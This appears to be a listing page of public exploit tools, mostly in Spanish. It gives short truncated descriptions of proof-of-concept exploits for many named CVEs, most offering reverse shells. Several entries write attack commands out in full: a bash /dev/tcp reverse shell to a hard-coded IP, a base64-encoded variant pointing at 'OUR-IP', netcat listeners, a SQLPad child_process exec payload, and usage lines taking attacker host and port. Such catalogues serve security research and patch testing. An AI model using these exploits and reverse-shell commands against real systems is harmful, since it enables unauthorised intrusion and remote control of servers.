cve-2023-51467

Go-Exploit para CVE-2023-51467 Este repositorio contiene un go-exploit para Apache OFBiz CVE-2023-51467. La implementación incluye verificación del objetivo, un escáner de versiones y una reverse shell Nashorn en memoria como payload requiere que el Java en uso admita Nashorn. El proceso de...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc que incluye soporte de reverse-shell y contraseña. Siéntete libre de añadir más cosas : ¿Cómo probarlo? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell y exportación automática de PCAP -- SOLO PARA USO EDUCATIVO -- El autor no es responsable ni se le puede exigir responsabilidad por cualquier acción realizada con cualquier aspecto de este proyecto/repositorio. Lo creé con el propósito de comprender el ataque y...

CVE-2023-30547

CVE-2023-30547 Esta es una prueba de concepto para CVE-2023-30547 https://nvd.nist.gov/vuln/detail/CVE-2023-30547. Creé este PoC durante un CTF. Uso root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT PoC for the vm2 vulnerability CVE-2023-30547 options: -h, --help show thi...

Node.js-CVE-2017-5941

NodeJS Insecure Deserialisation Vulnerability Demo Node.js is an open-source runtime environment used to implement server functionality in JavaScript. A specific software package within Node.js contains a vulnerable function dealing with deserialisation, that causes it to run unauthorised command...

CVE-2022-27925-Revshell

Zimbra Exploit de Ejecución Remota de Código No Autenticado CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET,...

CVE-2022-0944

CVE-2022-0944 PoC PoC para RCE en SQLPad. Este ejemplo lanza una reverse shell, pero el payload puede modificarse para ejecutar cualquier comando disponible cambiando el comando en la llamada 'exec' dentro del payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash ...

CVE-2023-30258-magnus-billing-v7-exploit

Exploit del Sistema Magnus Billing v7 Este script de Python automatiza la explotación de una vulnerabilidad de inyección de comandos en Magnus Billing System v7, específicamente en el script icepay.php ubicado en /mbilling/lib/icepay/icepay.php. El exploit aprovecha el parámetro democ para ejecut...

RCE-CVE-2025-3248

Ejecución remota de código autenticada CVE-2025-3248 en Langflow Este script de Python explota CVE-2025-3248 para ejecutar comandos arbitrarios o generar una reverse shell en un sistema vulnerable. Se requiere autenticación para usar este exploit. Características Ejecución de comandos autenticada...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - RCE autenticado Este script PoC está basado en el exploit proporcionado por Fellipe Oliveira. Características : Sube directamente código C a /hardware en lugar de cargar un archivo st Restaura el programa predeterminado antes de cargar la reverse shell Revers...

CVE-2023-42791_CVE-2024-23666

Scripts de explotación de comprobaciones de autorización insuficientes en Fortimanager CVE-2024-23666 y carga de archivos sin restricciones CVE-2023-42791 Se proporcionan dos scripts de explotación que aprovechan estas vulnerabilidades: rce.py: Proporciona una reverse shell o añade un administrad...

CVE-2024-55963

CVE‑2024‑55963 PoC de RCE en Appsmith Exploit PoC para CVE‑2024‑55963 que ejecuta comandos arbitrarios o lanza una reverse shell en instancias Appsmith vulnerables. Maneja automáticamente tanto servidores modernos con la función environmentId como versiones mucho más antiguas «legacy» anteriores ...

CVE-2023-28343

CVE-2023-28343 Exploit POC de CVE-2023-28343 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address...

CVE-2022-30525

CVE-2022-30525 Exploit POC de CVE-2022-30525 Uso root@kitploit: usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST,...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell PoC de Revshell hecho por IA Completación no probada del PoC de Redishell hecho por IA. PoC original: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Pieza coreana: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua ¿Progreso? Lue...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versión probada Construir el comando para generar el exploit root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Usar djvumake para generar la imagen del exploit root@kitploit: import os...

CVE-2021-21425

CVE-2021-21425 出典: https://www.exploit-db.com/exploits/49973 1 ターゲットIPを変更 2 ペイロードを変更 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Ejecución Remota de Código RCE Exploit de Inyección de Plantillas del Lado del Servidor!! 1. Título Ejecución Remota de Código mediante Inyección de Plantillas del Lado del Servidor SSTI en una Aplicación Web Vulnerable 2. Descripción Este exploit tiene...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Vulnerabilidad en Spring Cloud Function CVE-2022-22963 RCE Esta es una implementación en python de Spring4Shell, CVE-2022-22963, que afecta a servicios que ejecutan Spring Cloud Function =3.1.6 para 3.1.x y =3.2.2 para 3.2.x Combinación de múltiples POCs en línea Autor: Randall Banner Fecha:...

CVE-2018-2893

CVE-2018-2893 Puede obtener una shell inversa directamente Uso Escuchar root@kitploit: nc -lvvp reverseport Enviar payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Referencias bigsizeme pyn3rd Notas Solo para pruebas e intercambio de aprendizaje, no lo use...